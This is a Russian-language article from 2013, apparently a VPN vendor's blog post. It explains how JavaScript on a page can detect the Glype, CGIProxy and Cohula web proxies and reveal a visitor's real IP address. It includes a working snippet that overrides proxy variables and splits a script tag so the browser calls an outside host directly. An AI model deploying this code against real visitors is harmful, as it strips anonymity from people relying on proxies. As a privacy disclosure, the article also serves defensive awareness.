Раскрытие IP-адреса клиента при использовании веб-прокси

Веб-прокси (или анонимайзеры) уже давно стали популярным инструментом для обхода ограничений доступа к различным ресурсам. Но существует ошибочное мнение, что веб-прокси могут обеспечить сокрытие реального IP-адреса. Отключение поддержки Java и Flash не гарантирует анонимности, так как при включенной поддержке JavaScript остается возможность раскрытия IP-адреса пользователя. А так как посещение большинства ресурсов без JavaScript практически бесполезно, то использование веб-прокси для обеспечения анонимности может привести к нежелательным последствиям.

Glype является сегодня одной из самых популярных бесплатных реализаций веб-прокси. CGIProxy и Cohula не такие популярные, но ничем не уступают в функциональности. PHProxy и Zelune используются все реже.

Определить используется ли пользователем веб-ресурса анонимайзер можно сопоставив действительный адрес ресурса и значение в window.location.hostname, а также проверить переменные, указывающие на использование веб-прокси.

ginf.url // Glype
window["_proxy_jslib_SCRIPT_URL"] // CGIProxy
window["REAL_PROXY_HOST"] // Cohula

Чтобы определить IP-адрес пользователя, достаточно сформировать код таким образом, чтобы запрос был выполнен напрямую, минуя веб-прокси. Например, это может быть осуществлено маскировкой адреса (достаточно для Cohula) и разделением аттрибута src в теге <script> (для загрузки JavaScript кода) между несколькими функциями document.write (Glype), а также переопределением переменных отвечающих за формирование ссылок (CGIProxy).

var our_proto = "https";
var our_host = "zorrovpn" + "." + "com"; // mask address
var our_request = "show-js-ip";

// Trick for CGIProxy
window["_proxy_jslib_THIS_HOST"] = our_host;
window["_proxy_jslib_SCRIPT_NAME"] = "/" + our_request + "?#";
window["_proxy_jslib_SCRIPT_URL"] 
  = our_proto + "://" + our_host + "/" + window["_proxy_jslib_SCRIPT_NAME"];

document.write('<script sr');
document.write('c="' + our_proto + ":" + '//' + our_host + '/' + our_request);
document.write('"><\/script>');

Для CGIProxy следует отметить, что переопределение переменных начинающихся на "_proxy" через обычное присваивание не сработает, так как CGIProxy изменит переменную на _proxy1_varname. Поэтому стоит использовать window["_proxy_varname"].

С помощью Firebug или других средств для разработчиков входящих в поставку вашего браузера, вы сами сможете увидеть возможности обхода веб-прокси.

Для тестирования данного метода определения IP-адреса посетите данную страницу через любой анонимайзер. Например hidemyass.com (Glype), anonymizer.ru (Cohula), scusiblog.org (CGIProxy) или любой другой. Для включения поддержки JavaScript уберите галочку с "Remove scripts" в опциях веб-прокси.

Работоспособность протестирована с последними версиями Cohula, CGIProxy 2.1.6 и Glype 1.4.4


Исходный код доступен по адресу https://zorrovpn.com/articles/web-proxy-detection.js


Снизить риск деанонимизация при использовании веб-прокси поможет отключение Java, Flash и JavaScript. Но нет гарантий, что фильтрация HTML со стороны веб-прокси будет настолько аккуратной, чтобы обеспечить 100% анонимности. Для избежания раскрытия реального IP-адреса следует использовать VPN, SOCKS 4/5, HTTP прокси, SSH-туннели, Tor, I2P и прочие технологии, сочетая их между собой для обеспечения более высокого уровня анонимности.

15.07.2013 © ZorroVPN

показать комментарии